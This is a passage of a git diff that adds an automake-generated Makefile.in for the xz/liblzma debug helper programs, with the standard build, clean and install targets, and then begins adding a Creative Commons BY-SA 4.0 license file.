$(am__is_gnu_make); then \ + sane_makeflags=$$MFLAGS; \ + else \ + case $$MAKEFLAGS in \ + *\\[\ \ ]*) \ + bs=\\; \ + sane_makeflags=`printf '%s\n' "$$MAKEFLAGS" \ + | sed "s/$$bs$$bs[$$bs $$bs ]*//g"`;; \ + esac; \ + fi; \ + skip_next=no; \ + strip_trailopt () \ + { \ + flg=`printf '%s\n' "$$flg" | sed "s/$$1.*$$//"`; \ + }; \ + for flg in $$sane_makeflags; do \ + test $$skip_next = yes && { skip_next=no; continue; }; \ + case $$flg in \ + *=*|--*) continue;; \ + -*I) strip_trailopt 'I'; skip_next=yes;; \ + -*I?*) strip_trailopt 'I';; \ + -*O) strip_trailopt 'O'; skip_next=yes;; \ + -*O?*) strip_trailopt 'O';; \ + -*l) strip_trailopt 'l'; skip_next=yes;; \ + -*l?*) strip_trailopt 'l';; \ + -[dEDm]) skip_next=yes;; \ + -[JT]) skip_next=yes;; \ + esac; \ + case $$flg in \ + *$$target_option*) has_opt=yes; break;; \ + esac; \ + done; \ + test $$has_opt = yes +am__make_dryrun = (target_option=n; $(am__make_running_with_option)) +am__make_keepgoing = (target_option=k; $(am__make_running_with_option)) +pkgdatadir = $(datadir)/@PACKAGE@ +pkgincludedir = $(includedir)/@PACKAGE@ +pkglibdir = $(libdir)/@PACKAGE@ +pkglibexecdir = $(libexecdir)/@PACKAGE@ +am__cd = CDPATH="$${ZSH_VERSION+.}$(PATH_SEPARATOR)" && cd +install_sh_DATA = $(install_sh) -c -m 644 +install_sh_PROGRAM = $(install_sh) -c +install_sh_SCRIPT = $(install_sh) -c +INSTALL_HEADER = $(INSTALL_DATA) +transform = $(program_transform_name) +NORMAL_INSTALL = : +PRE_INSTALL = : +POST_INSTALL = : +NORMAL_UNINSTALL = : +PRE_UNINSTALL = : +POST_UNINSTALL = : +build_triplet = @build@ +host_triplet = @host@ +noinst_PROGRAMS = repeat$(EXEEXT) sync_flush$(EXEEXT) \ + full_flush$(EXEEXT) memusage$(EXEEXT) crc32$(EXEEXT) \ + known_sizes$(EXEEXT) hex2bin$(EXEEXT) +@COND_GNULIB_TRUE@am__append_1 = $(top_builddir)/lib/libgnu.a +subdir = debug +ACLOCAL_M4 = $(top_srcdir)/aclocal.m4 +am__aclocal_m4_deps = $(top_srcdir)/m4/ax_pthread.m4 \ + $(top_srcdir)/m4/build-to-host.m4 $(top_srcdir)/m4/getopt.m4 \ + $(top_srcdir)/m4/gettext.m4 $(top_srcdir)/m4/host-cpu-c-abi.m4 \ + $(top_srcdir)/m4/iconv.m4 $(top_srcdir)/m4/intlmacosx.m4 \ + $(top_srcdir)/m4/lib-ld.m4 $(top_srcdir)/m4/lib-link.m4 \ + $(top_srcdir)/m4/lib-prefix.m4 $(top_srcdir)/m4/libtool.m4 \ + $(top_srcdir)/m4/ltoptions.m4 $(top_srcdir)/m4/ltsugar.m4 \ + $(top_srcdir)/m4/ltversion.m4 $(top_srcdir)/m4/lt~obsolete.m4 \ + $(top_srcdir)/m4/nls.m4 $(top_srcdir)/m4/po.m4 \ + $(top_srcdir)/m4/posix-shell.m4 $(top_srcdir)/m4/progtest.m4 \ + $(top_srcdir)/m4/tuklib_common.m4 \ + $(top_srcdir)/m4/tuklib_cpucores.m4 \ + $(top_srcdir)/m4/tuklib_integer.m4 \ + $(top_srcdir)/m4/tuklib_mbstr.m4 \ + $(top_srcdir)/m4/tuklib_physmem.m4 \ + $(top_srcdir)/m4/tuklib_progname.m4 \ + $(top_srcdir)/m4/visibility.m4 $(top_srcdir)/configure.ac +am__configure_deps = $(am__aclocal_m4_deps) $(CONFIGURE_DEPENDENCIES) \ + $(ACLOCAL_M4) +DIST_COMMON = $(srcdir)/Makefile.am $(am__DIST_COMMON) +mkinstalldirs = $(install_sh) -d +CONFIG_HEADER = $(top_builddir)/config.h +CONFIG_CLEAN_FILES = +CONFIG_CLEAN_VPATH_FILES = +PROGRAMS = $(noinst_PROGRAMS) +crc32_SOURCES = crc32.c +crc32_OBJECTS = crc32.$(OBJEXT) +crc32_LDADD = $(LDADD) +am__DEPENDENCIES_1 = +crc32_DEPENDENCIES = $(top_builddir)/src/liblzma/liblzma.la \ + $(am__append_1) $(am__DEPENDENCIES_1) +AM_V_lt = $(am__v_lt_@AM_V@) +am__v_lt_ = $(am__v_lt_@AM_DEFAULT_V@) +am__v_lt_0 = --silent +am__v_lt_1 = +full_flush_SOURCES = full_flush.c +full_flush_OBJECTS = full_flush.$(OBJEXT) +full_flush_LDADD = $(LDADD) +full_flush_DEPENDENCIES = $(top_builddir)/src/liblzma/liblzma.la \ + $(am__append_1) $(am__DEPENDENCIES_1) +hex2bin_SOURCES = hex2bin.c +hex2bin_OBJECTS = hex2bin.$(OBJEXT) +hex2bin_LDADD = $(LDADD) +hex2bin_DEPENDENCIES = $(top_builddir)/src/liblzma/liblzma.la \ + $(am__append_1) $(am__DEPENDENCIES_1) +known_sizes_SOURCES = known_sizes.c +known_sizes_OBJECTS = known_sizes.$(OBJEXT) +known_sizes_LDADD = $(LDADD) +known_sizes_DEPENDENCIES = $(top_builddir)/src/liblzma/liblzma.la \ + $(am__append_1) $(am__DEPENDENCIES_1) +memusage_SOURCES = memusage.c +memusage_OBJECTS = memusage.$(OBJEXT) +memusage_LDADD = $(LDADD) +memusage_DEPENDENCIES = $(top_builddir)/src/liblzma/liblzma.la \ + $(am__append_1) $(am__DEPENDENCIES_1) +repeat_SOURCES = repeat.c +repeat_OBJECTS = repeat.$(OBJEXT) +repeat_LDADD = $(LDADD) +repeat_DEPENDENCIES = $(top_builddir)/src/liblzma/liblzma.la \ + $(am__append_1) $(am__DEPENDENCIES_1) +sync_flush_SOURCES = sync_flush.c +sync_flush_OBJECTS = sync_flush.$(OBJEXT) +sync_flush_LDADD = $(LDADD) +sync_flush_DEPENDENCIES = $(top_builddir)/src/liblzma/liblzma.la \ + $(am__append_1) $(am__DEPENDENCIES_1) +AM_V_P = $(am__v_P_@AM_V@) +am__v_P_ = $(am__v_P_@AM_DEFAULT_V@) +am__v_P_0 = false +am__v_P_1 = : +AM_V_GEN = $(am__v_GEN_@AM_V@) +am__v_GEN_ = $(am__v_GEN_@AM_DEFAULT_V@) +am__v_GEN_0 = @echo " GEN " $@; +am__v_GEN_1 = +AM_V_at = $(am__v_at_@AM_V@) +am__v_at_ = $(am__v_at_@AM_DEFAULT_V@) +am__v_at_0 = @ +am__v_at_1 = +DEFAULT_INCLUDES = -I.@am__isrc@ -I$(top_builddir) +depcomp = $(SHELL) $(top_srcdir)/build-aux/depcomp +am__maybe_remake_depfiles = depfiles +am__depfiles_remade = ./$(DEPDIR)/crc32.Po ./$(DEPDIR)/full_flush.Po \ + ./$(DEPDIR)/hex2bin.Po ./$(DEPDIR)/known_sizes.Po \ + ./$(DEPDIR)/memusage.Po ./$(DEPDIR)/repeat.Po \ + ./$(DEPDIR)/sync_flush.Po +am__mv = mv -f +COMPILE = $(CC) $(DEFS) $(DEFAULT_INCLUDES) $(INCLUDES) $(AM_CPPFLAGS) \ + $(CPPFLAGS) $(AM_CFLAGS) $(CFLAGS) +LTCOMPILE = $(LIBTOOL) $(AM_V_lt) --tag=CC $(AM_LIBTOOLFLAGS) \ + $(LIBTOOLFLAGS) --mode=compile $(CC) $(DEFS) \ + $(DEFAULT_INCLUDES) $(INCLUDES) $(AM_CPPFLAGS) $(CPPFLAGS) \ + $(AM_CFLAGS) $(CFLAGS) +AM_V_CC = $(am__v_CC_@AM_V@) +am__v_CC_ = $(am__v_CC_@AM_DEFAULT_V@) +am__v_CC_0 = @echo " CC " $@; +am__v_CC_1 = +CCLD = $(CC) +LINK = $(LIBTOOL) $(AM_V_lt) --tag=CC $(AM_LIBTOOLFLAGS) \ + $(LIBTOOLFLAGS) --mode=link $(CCLD) $(AM_CFLAGS) $(CFLAGS) \ + $(AM_LDFLAGS) $(LDFLAGS) -o $@ +AM_V_CCLD = $(am__v_CCLD_@AM_V@) +am__v_CCLD_ = $(am__v_CCLD_@AM_DEFAULT_V@) +am__v_CCLD_0 = @echo " CCLD " $@; +am__v_CCLD_1 = +SOURCES = crc32.c full_flush.c hex2bin.c known_sizes.c memusage.c \ + repeat.c sync_flush.c +DIST_SOURCES = crc32.c full_flush.c hex2bin.c known_sizes.c memusage.c \ + repeat.c sync_flush.c +am__can_run_installinfo = \ + case $$AM_UPDATE_INFO_DIR in \ + n|no|NO) false;; \ + *) (install-info --version) >/dev/null 2>&1;; \ + esac +am__tagged_files = $(HEADERS) $(SOURCES) $(TAGS_FILES) $(LISP) +# Read a list of newline-separated strings from the standard input, +# and print each of them once, without duplicates. Input order is +# *not* preserved. +am__uniquify_input = $(AWK) '\ + BEGIN { nonempty = 0; } \ + { items[$$0] = 1; nonempty = 1; } \ + END { if (nonempty) { for (i in items) print i; }; } \ +' +# Make sure the list of sources is unique. This is necessary because, +# e.g., the same source file might be shared among _SOURCES variables +# for different programs/libraries. +am__define_uniq_tagged_files = \ + list='$(am__tagged_files)'; \ + unique=`for i in $$list; do \ + if test -f "$$i"; then echo $$i; else echo $(srcdir)/$$i; fi; \ + done | $(am__uniquify_input)` +am__DIST_COMMON = $(srcdir)/Makefile.in \ + $(top_srcdir)/build-aux/depcomp README +DISTFILES = $(DIST_COMMON) $(DIST_SOURCES) $(TEXINFOS) $(EXTRA_DIST) +ACLOCAL = @ACLOCAL@ +AMTAR = @AMTAR@ +AM_CFLAGS = @AM_CFLAGS@ +AM_DEFAULT_VERBOSITY = @AM_DEFAULT_VERBOSITY@ +AR = @AR@ +AS = @AS@ +AUTOCONF = @AUTOCONF@ +AUTOHEADER = @AUTOHEADER@ +AUTOMAKE = @AUTOMAKE@ +AWK = @AWK@ +CC = @CC@ +CCAS = @CCAS@ +CCASDEPMODE = @CCASDEPMODE@ +CCASFLAGS = @CCASFLAGS@ +CCDEPMODE = @CCDEPMODE@ +CFLAGS = @CFLAGS@ +CFLAG_VISIBILITY = @CFLAG_VISIBILITY@ +CPP = @CPP@ +CPPFLAGS = @CPPFLAGS@ +CSCOPE = @CSCOPE@ +CTAGS = @CTAGS@ +CYGPATH_W = @CYGPATH_W@ +DEFS = @DEFS@ +DEPDIR = @DEPDIR@ +DLLTOOL = @DLLTOOL@ +DSYMUTIL = @DSYMUTIL@ +DUMPBIN = @DUMPBIN@ +ECHO_C = @ECHO_C@ +ECHO_N = @ECHO_N@ +ECHO_T = @ECHO_T@ +EGREP = @EGREP@ +ETAGS = @ETAGS@ +EXEEXT = @EXEEXT@ +FGREP = @FGREP@ +FILECMD = @FILECMD@ +GETOPT_H = @GETOPT_H@ +GETTEXT_MACRO_VERSION = @GETTEXT_MACRO_VERSION@ +GMSGFMT = @GMSGFMT@ +GMSGFMT_015 = @GMSGFMT_015@ +GREP = @GREP@ +HAVE_VISIBILITY = @HAVE_VISIBILITY@ +INSTALL = @INSTALL@ +INSTALL_DATA = @INSTALL_DATA@ +INSTALL_PROGRAM = @INSTALL_PROGRAM@ +INSTALL_SCRIPT = @INSTALL_SCRIPT@ +INSTALL_STRIP_PROGRAM = @INSTALL_STRIP_PROGRAM@ +INTLLIBS = @INTLLIBS@ +INTL_MACOSX_LIBS = @INTL_MACOSX_LIBS@ +LD = @LD@ +LDFLAGS = @LDFLAGS@ +LIBICONV = @LIBICONV@ +LIBINTL = @LIBINTL@ +LIBOBJS = @LIBOBJS@ +LIBS = @LIBS@ +LIBTOOL = @LIBTOOL@ +LIPO = @LIPO@ +LN_EXEEXT = @LN_EXEEXT@ +LN_S = @LN_S@ +LTLIBICONV = @LTLIBICONV@ +LTLIBINTL = @LTLIBINTL@ +LTLIBOBJS = @LTLIBOBJS@ +LT_SYS_LIBRARY_PATH = @LT_SYS_LIBRARY_PATH@ +MAKEINFO = @MAKEINFO@ +MANIFEST_TOOL = @MANIFEST_TOOL@ +MKDIR_P = @MKDIR_P@ +MSGFMT = @MSGFMT@ +MSGMERGE = @MSGMERGE@ +MSGMERGE_FOR_MSGFMT_OPTION = @MSGMERGE_FOR_MSGFMT_OPTION@ +NM = @NM@ +NMEDIT = @NMEDIT@ +OBJDUMP = @OBJDUMP@ +OBJEXT = @OBJEXT@ +OTOOL = @OTOOL@ +OTOOL64 = @OTOOL64@ +PACKAGE = @PACKAGE@ +PACKAGE_BUGREPORT = @PACKAGE_BUGREPORT@ +PACKAGE_NAME = @PACKAGE_NAME@ +PACKAGE_STRING = @PACKAGE_STRING@ +PACKAGE_TARNAME = @PACKAGE_TARNAME@ +PACKAGE_URL = @PACKAGE_URL@ +PACKAGE_VERSION = @PACKAGE_VERSION@ +PATH_SEPARATOR = @PATH_SEPARATOR@ +POSIX_SHELL = @POSIX_SHELL@ +POSUB = @POSUB@ +PREFERABLY_POSIX_SHELL = @PREFERABLY_POSIX_SHELL@ +PTHREAD_CC = @PTHREAD_CC@ +PTHREAD_CFLAGS = @PTHREAD_CFLAGS@ +PTHREAD_CXX = @PTHREAD_CXX@ +PTHREAD_LIBS = @PTHREAD_LIBS@ +RANLIB = @RANLIB@ +RC = @RC@ +SED = @SED@ +SET_MAKE = @SET_MAKE@ +SHELL = @SHELL@ +STRIP = @STRIP@ +USE_NLS = @USE_NLS@ +VERSION = @VERSION@ +XGETTEXT = @XGETTEXT@ +XGETTEXT_015 = @XGETTEXT_015@ +XGETTEXT_EXTRA_OPTIONS = @XGETTEXT_EXTRA_OPTIONS@ +abs_builddir = @abs_builddir@ +abs_srcdir = @abs_srcdir@ +abs_top_builddir = @abs_top_builddir@ +abs_top_srcdir = @abs_top_srcdir@ +ac_ct_AR = @ac_ct_AR@ +ac_ct_CC = @ac_ct_CC@ +ac_ct_DUMPBIN = @ac_ct_DUMPBIN@ +am__include = @am__include@ +am__leading_dot = @am__leading_dot@ +am__quote = @am__quote@ +am__tar = @am__tar@ +am__untar = @am__untar@ +ax_pthread_config = @ax_pthread_config@ +bindir = @bindir@ +build = @build@ +build_alias = @build_alias@ +build_cpu = @build_cpu@ +build_os = @build_os@ +build_vendor = @build_vendor@ +builddir = @builddir@ +datadir = @datadir@ +datarootdir = @datarootdir@ +docdir = @docdir@ +dvidir = @dvidir@ +enable_path_for_scripts = @enable_path_for_scripts@ +exec_prefix = @exec_prefix@ +host = @host@ +host_alias = @host_alias@ +host_cpu = @host_cpu@ +host_os = @host_os@ +host_vendor = @host_vendor@ +htmldir = @htmldir@ +includedir = @includedir@ +infodir = @infodir@ +install_sh = @install_sh@ +libdir = @libdir@ +libexecdir = @libexecdir@ +localedir = @localedir@ +localedir_c = @localedir_c@ +localedir_c_make = @localedir_c_make@ +localstatedir = @localstatedir@ +mandir = @mandir@ +mkdir_p = @mkdir_p@ +oldincludedir = @oldincludedir@ +pdfdir = @pdfdir@ +prefix = @prefix@ +program_transform_name = @program_transform_name@ +psdir = @psdir@ +runstatedir = @runstatedir@ +sbindir = @sbindir@ +sharedstatedir = @sharedstatedir@ +srcdir = @srcdir@ +sysconfdir = @sysconfdir@ +target_alias = @target_alias@ +top_build_prefix = @top_build_prefix@ +top_builddir = @top_builddir@ +top_srcdir = @top_srcdir@ +xz = @xz@ +EXTRA_DIST = \ + translation.bash + +AM_CPPFLAGS = \ + -I$(top_srcdir)/src/common \ + -I$(top_srcdir)/src/liblzma/api + +LDADD = $(top_builddir)/src/liblzma/liblzma.la $(am__append_1) \ + $(LTLIBINTL) +all: all-am + +.SUFFIXES: +.SUFFIXES: .c .lo .o .obj +$(srcdir)/Makefile.in: $(srcdir)/Makefile.am $(am__configure_deps) + @for dep in $?; do \ + case '$(am__configure_deps)' in \ + *$$dep*) \ + ( cd $(top_builddir) && $(MAKE) $(AM_MAKEFLAGS) am--refresh ) \ + && { if test -f $@; then exit 0; else break; fi; }; \ + exit 1;; \ + esac; \ + done; \ + echo ' cd $(top_srcdir) && $(AUTOMAKE) --foreign debug/Makefile'; \ + $(am__cd) $(top_srcdir) && \ + $(AUTOMAKE) --foreign debug/Makefile +Makefile: $(srcdir)/Makefile.in $(top_builddir)/config.status + @case '$?' in \ + *config.status*) \ + cd $(top_builddir) && $(MAKE) $(AM_MAKEFLAGS) am--refresh;; \ + *) \ + echo ' cd $(top_builddir) && $(SHELL) ./config.status $(subdir)/$@ $(am__maybe_remake_depfiles)'; \ + cd $(top_builddir) && $(SHELL) ./config.status $(subdir)/$@ $(am__maybe_remake_depfiles);; \ + esac; + +$(top_builddir)/config.status: $(top_srcdir)/configure $(CONFIG_STATUS_DEPENDENCIES) + cd $(top_builddir) && $(MAKE) $(AM_MAKEFLAGS) am--refresh + +$(top_srcdir)/configure: $(am__configure_deps) + cd $(top_builddir) && $(MAKE) $(AM_MAKEFLAGS) am--refresh +$(ACLOCAL_M4): $(am__aclocal_m4_deps) + cd $(top_builddir) && $(MAKE) $(AM_MAKEFLAGS) am--refresh +$(am__aclocal_m4_deps): + +clean-noinstPROGRAMS: + @list='$(noinst_PROGRAMS)'; test -n "$$list" || exit 0; \ + echo " rm -f" $$list; \ + rm -f $$list || exit $$?; \ + test -n "$(EXEEXT)" || exit 0; \ + list=`for p in $$list; do echo "$$p"; done | sed 's/$(EXEEXT)$$//'`; \ + echo " rm -f" $$list; \ + rm -f $$list + +crc32$(EXEEXT): $(crc32_OBJECTS) $(crc32_DEPENDENCIES) $(EXTRA_crc32_DEPENDENCIES) + @rm -f crc32$(EXEEXT) + $(AM_V_CCLD)$(LINK) $(crc32_OBJECTS) $(crc32_LDADD) $(LIBS) + +full_flush$(EXEEXT): $(full_flush_OBJECTS) $(full_flush_DEPENDENCIES) $(EXTRA_full_flush_DEPENDENCIES) + @rm -f full_flush$(EXEEXT) + $(AM_V_CCLD)$(LINK) $(full_flush_OBJECTS) $(full_flush_LDADD) $(LIBS) + +hex2bin$(EXEEXT): $(hex2bin_OBJECTS) $(hex2bin_DEPENDENCIES) $(EXTRA_hex2bin_DEPENDENCIES) + @rm -f hex2bin$(EXEEXT) + $(AM_V_CCLD)$(LINK) $(hex2bin_OBJECTS) $(hex2bin_LDADD) $(LIBS) + +known_sizes$(EXEEXT): $(known_sizes_OBJECTS) $(known_sizes_DEPENDENCIES) $(EXTRA_known_sizes_DEPENDENCIES) + @rm -f known_sizes$(EXEEXT) + $(AM_V_CCLD)$(LINK) $(known_sizes_OBJECTS) $(known_sizes_LDADD) $(LIBS) + +memusage$(EXEEXT): $(memusage_OBJECTS) $(memusage_DEPENDENCIES) $(EXTRA_memusage_DEPENDENCIES) + @rm -f memusage$(EXEEXT) + $(AM_V_CCLD)$(LINK) $(memusage_OBJECTS) $(memusage_LDADD) $(LIBS) + +repeat$(EXEEXT): $(repeat_OBJECTS) $(repeat_DEPENDENCIES) $(EXTRA_repeat_DEPENDENCIES) + @rm -f repeat$(EXEEXT) + $(AM_V_CCLD)$(LINK) $(repeat_OBJECTS) $(repeat_LDADD) $(LIBS) + +sync_flush$(EXEEXT): $(sync_flush_OBJECTS) $(sync_flush_DEPENDENCIES) $(EXTRA_sync_flush_DEPENDENCIES) + @rm -f sync_flush$(EXEEXT) + $(AM_V_CCLD)$(LINK) $(sync_flush_OBJECTS) $(sync_flush_LDADD) $(LIBS) + +mostlyclean-compile: + -rm -f *.$(OBJEXT) + +distclean-compile: + -rm -f *.tab.c + +@AMDEP_TRUE@@am__include@ @am__quote@./$(DEPDIR)/crc32.Po@am__quote@ # am--include-marker +@AMDEP_TRUE@@am__include@ @am__quote@./$(DEPDIR)/full_flush.Po@am__quote@ # am--include-marker +@AMDEP_TRUE@@am__include@ @am__quote@./$(DEPDIR)/hex2bin.Po@am__quote@ # am--include-marker +@AMDEP_TRUE@@am__include@ @am__quote@./$(DEPDIR)/known_sizes.Po@am__quote@ # am--include-marker +@AMDEP_TRUE@@am__include@ @am__quote@./$(DEPDIR)/memusage.Po@am__quote@ # am--include-marker +@AMDEP_TRUE@@am__include@ @am__quote@./$(DEPDIR)/repeat.Po@am__quote@ # am--include-marker +@AMDEP_TRUE@@am__include@ @am__quote@./$(DEPDIR)/sync_flush.Po@am__quote@ # am--include-marker + +$(am__depfiles_remade): + @$(MKDIR_P) $(@D) + @echo '# dummy' >$@-t && $(am__mv) $@-t $@ + +am--depfiles: $(am__depfiles_remade) + +.c.o: +@am__fastdepCC_TRUE@ $(AM_V_CC)$(COMPILE) -MT $@ -MD -MP -MF $(DEPDIR)/$*.Tpo -c -o $@ $< +@am__fastdepCC_TRUE@ $(AM_V_at)$(am__mv) $(DEPDIR)/$*.Tpo $(DEPDIR)/$*.Po +@AMDEP_TRUE@@am__fastdepCC_FALSE@ $(AM_V_CC)source='$<' object='$@' libtool=no @AMDEPBACKSLASH@ +@AMDEP_TRUE@@am__fastdepCC_FALSE@ DEPDIR=$(DEPDIR) $(CCDEPMODE) $(depcomp) @AMDEPBACKSLASH@ +@am__fastdepCC_FALSE@ $(AM_V_CC@am__nodep@)$(COMPILE) -c -o $@ $< + +.c.obj: +@am__fastdepCC_TRUE@ $(AM_V_CC)$(COMPILE) -MT $@ -MD -MP -MF $(DEPDIR)/$*.Tpo -c -o $@ `$(CYGPATH_W) '$<'` +@am__fastdepCC_TRUE@ $(AM_V_at)$(am__mv) $(DEPDIR)/$*.Tpo $(DEPDIR)/$*.Po +@AMDEP_TRUE@@am__fastdepCC_FALSE@ $(AM_V_CC)source='$<' object='$@' libtool=no @AMDEPBACKSLASH@ +@AMDEP_TRUE@@am__fastdepCC_FALSE@ DEPDIR=$(DEPDIR) $(CCDEPMODE) $(depcomp) @AMDEPBACKSLASH@ +@am__fastdepCC_FALSE@ $(AM_V_CC@am__nodep@)$(COMPILE) -c -o $@ `$(CYGPATH_W) '$<'` + +.c.lo: +@am__fastdepCC_TRUE@ $(AM_V_CC)$(LTCOMPILE) -MT $@ -MD -MP -MF $(DEPDIR)/$*.Tpo -c -o $@ $< +@am__fastdepCC_TRUE@ $(AM_V_at)$(am__mv) $(DEPDIR)/$*.Tpo $(DEPDIR)/$*.Plo +@AMDEP_TRUE@@am__fastdepCC_FALSE@ $(AM_V_CC)source='$<' object='$@' libtool=yes @AMDEPBACKSLASH@ +@AMDEP_TRUE@@am__fastdepCC_FALSE@ DEPDIR=$(DEPDIR) $(CCDEPMODE) $(depcomp) @AMDEPBACKSLASH@ +@am__fastdepCC_FALSE@ $(AM_V_CC@am__nodep@)$(LTCOMPILE) -c -o $@ $< + +mostlyclean-libtool: + -rm -f *.lo + +clean-libtool: + -rm -rf .libs _libs + +ID: $(am__tagged_files) + $(am__define_uniq_tagged_files); mkid -fID $$unique +tags: tags-am +TAGS: tags + +tags-am: $(TAGS_DEPENDENCIES) $(am__tagged_files) + set x; \ + here=`pwd`; \ + $(am__define_uniq_tagged_files); \ + shift; \ + if test -z "$(ETAGS_ARGS)$$*$$unique"; then :; else \ + test -n "$$unique" || unique=$$empty_fix; \ + if test $$# -gt 0; then \ + $(ETAGS) $(ETAGSFLAGS) $(AM_ETAGSFLAGS) $(ETAGS_ARGS) \ + "$$@" $$unique; \ + else \ + $(ETAGS) $(ETAGSFLAGS) $(AM_ETAGSFLAGS) $(ETAGS_ARGS) \ + $$unique; \ + fi; \ + fi +ctags: ctags-am + +CTAGS: ctags +ctags-am: $(TAGS_DEPENDENCIES) $(am__tagged_files) + $(am__define_uniq_tagged_files); \ + test -z "$(CTAGS_ARGS)$$unique" \ + || $(CTAGS) $(CTAGSFLAGS) $(AM_CTAGSFLAGS) $(CTAGS_ARGS) \ + $$unique + +GTAGS: + here=`$(am__cd) $(top_builddir) && pwd` \ + && $(am__cd) $(top_srcdir) \ + && gtags -i $(GTAGS_ARGS) "$$here" +cscopelist: cscopelist-am + +cscopelist-am: $(am__tagged_files) + list='$(am__tagged_files)'; \ + case "$(srcdir)" in \ + [\\/]* | ?:[\\/]*) sdir="$(srcdir)" ;; \ + *) sdir=$(subdir)/$(srcdir) ;; \ + esac; \ + for i in $$list; do \ + if test -f "$$i"; then \ + echo "$(subdir)/$$i"; \ + else \ + echo "$$sdir/$$i"; \ + fi; \ + done >> $(top_builddir)/cscope.files + +distclean-tags: + -rm -f TAGS ID GTAGS GRTAGS GSYMS GPATH tags +distdir: $(BUILT_SOURCES) + $(MAKE) $(AM_MAKEFLAGS) distdir-am + +distdir-am: $(DISTFILES) + @srcdirstrip=`echo "$(srcdir)" | sed 's/[].[^$$\\*]/\\\\&/g'`; \ + topsrcdirstrip=`echo "$(top_srcdir)" | sed 's/[].[^$$\\*]/\\\\&/g'`; \ + list='$(DISTFILES)'; \ + dist_files=`for file in $$list; do echo $$file; done | \ + sed -e "s|^$$srcdirstrip/||;t" \ + -e "s|^$$topsrcdirstrip/|$(top_builddir)/|;t"`; \ + case $$dist_files in \ + */*) $(MKDIR_P) `echo "$$dist_files" | \ + sed '/\//!d;s|^|$(distdir)/|;s,/[^/]*$$,,' | \ + sort -u` ;; \ + esac; \ + for file in $$dist_files; do \ + if test -f $$file || test -d $$file; then d=.; else d=$(srcdir); fi; \ + if test -d $$d/$$file; then \ + dir=`echo "/$$file" | sed -e 's,/[^/]*$$,,'`; \ + if test -d "$(distdir)/$$file"; then \ + find "$(distdir)/$$file" -type d ! -perm -700 -exec chmod u+rwx {} \;; \ + fi; \ + if test -d $(srcdir)/$$file && test $$d != $(srcdir); then \ + cp -fpR $(srcdir)/$$file "$(distdir)$$dir" || exit 1; \ + find "$(distdir)/$$file" -type d ! -perm -700 -exec chmod u+rwx {} \;; \ + fi; \ + cp -fpR $$d/$$file "$(distdir)$$dir" || exit 1; \ + else \ + test -f "$(distdir)/$$file" \ + || cp -p $$d/$$file "$(distdir)/$$file" \ + || exit 1; \ + fi; \ + done +check-am: all-am +check: check-am +all-am: Makefile $(PROGRAMS) +installdirs: +install: install-am +install-exec: install-exec-am +install-data: install-data-am +uninstall: uninstall-am + +install-am: all-am + @$(MAKE) $(AM_MAKEFLAGS) install-exec-am install-data-am + +installcheck: installcheck-am +install-strip: + if test -z '$(STRIP)'; then \ + $(MAKE) $(AM_MAKEFLAGS) INSTALL_PROGRAM="$(INSTALL_STRIP_PROGRAM)" \ + install_sh_PROGRAM="$(INSTALL_STRIP_PROGRAM)" INSTALL_STRIP_FLAG=-s \ + install; \ + else \ + $(MAKE) $(AM_MAKEFLAGS) INSTALL_PROGRAM="$(INSTALL_STRIP_PROGRAM)" \ + install_sh_PROGRAM="$(INSTALL_STRIP_PROGRAM)" INSTALL_STRIP_FLAG=-s \ + "INSTALL_PROGRAM_ENV=STRIPPROG='$(STRIP)'" install; \ + fi +mostlyclean-generic: + +clean-generic: + +distclean-generic: + -test -z "$(CONFIG_CLEAN_FILES)" || rm -f $(CONFIG_CLEAN_FILES) + -test . = "$(srcdir)" || test -z "$(CONFIG_CLEAN_VPATH_FILES)" || rm -f $(CONFIG_CLEAN_VPATH_FILES) + +maintainer-clean-generic: + @echo "This command is intended for maintainers to use" + @echo "it deletes files that may require special tools to rebuild." +clean: clean-am + +clean-am: clean-generic clean-libtool clean-noinstPROGRAMS \ + mostlyclean-am + +distclean: distclean-am + -rm -f ./$(DEPDIR)/crc32.Po + -rm -f ./$(DEPDIR)/full_flush.Po + -rm -f ./$(DEPDIR)/hex2bin.Po + -rm -f ./$(DEPDIR)/known_sizes.Po + -rm -f ./$(DEPDIR)/memusage.Po + -rm -f ./$(DEPDIR)/repeat.Po + -rm -f ./$(DEPDIR)/sync_flush.Po + -rm -f Makefile +distclean-am: clean-am distclean-compile distclean-generic \ + distclean-tags + +dvi: dvi-am + +dvi-am: + +html: html-am + +html-am: + +info: info-am + +info-am: + +install-data-am: + +install-dvi: install-dvi-am + +install-dvi-am: + +install-exec-am: + +install-html: install-html-am + +install-html-am: + +install-info: install-info-am + +install-info-am: + +install-man: + +install-pdf: install-pdf-am + +install-pdf-am: + +install-ps: install-ps-am + +install-ps-am: + +installcheck-am: + +maintainer-clean: maintainer-clean-am + -rm -f ./$(DEPDIR)/crc32.Po + -rm -f ./$(DEPDIR)/full_flush.Po + -rm -f ./$(DEPDIR)/hex2bin.Po + -rm -f ./$(DEPDIR)/known_sizes.Po + -rm -f ./$(DEPDIR)/memusage.Po + -rm -f ./$(DEPDIR)/repeat.Po + -rm -f ./$(DEPDIR)/sync_flush.Po + -rm -f Makefile +maintainer-clean-am: distclean-am maintainer-clean-generic + +mostlyclean: mostlyclean-am + +mostlyclean-am: mostlyclean-compile mostlyclean-generic \ + mostlyclean-libtool + +pdf: pdf-am + +pdf-am: + +ps: ps-am + +ps-am: + +uninstall-am: + +.MAKE: install-am install-strip + +.PHONY: CTAGS GTAGS TAGS all all-am am--depfiles check check-am clean \ + clean-generic clean-libtool clean-noinstPROGRAMS cscopelist-am \ + ctags ctags-am distclean distclean-compile distclean-generic \ + distclean-libtool distclean-tags distdir dvi dvi-am html \ + html-am info info-am install install-am install-data \ + install-data-am install-dvi install-dvi-am install-exec \ + install-exec-am install-html install-html-am install-info \ + install-info-am install-man install-pdf install-pdf-am \ + install-ps install-ps-am install-strip installcheck \ + installcheck-am installdirs maintainer-clean \ + maintainer-clean-generic mostlyclean mostlyclean-compile \ + mostlyclean-generic mostlyclean-libtool pdf pdf-am ps ps-am \ + tags tags-am uninstall uninstall-am + +.PRECIOUS: Makefile + + +# Tell versions [3.59,3.63) of GNU make to not export all variables. +# Otherwise a system limit (for SysV at least) may be exceeded. +.NOEXPORT: diff --git a/doc/api/COPYING.CC-BY-SA-4.0 b/doc/api/COPYING.CC-BY-SA-4.0 new file mode 100644 index 00000000..7d4f96c5 --- /dev/null +++ b/doc/api/COPYING.CC-BY-SA-4.0 @@ -0,0 +1,427 @@ +Attribution-ShareAlike 4.0 International + +======================================================================= + +Creative Commons Corporation ("Creative Commons") is not a law firm and +does not provide legal services or legal advice. Distribution of +Creative Commons public licenses does not create a lawyer-client or +other relationship. Creative Commons makes its 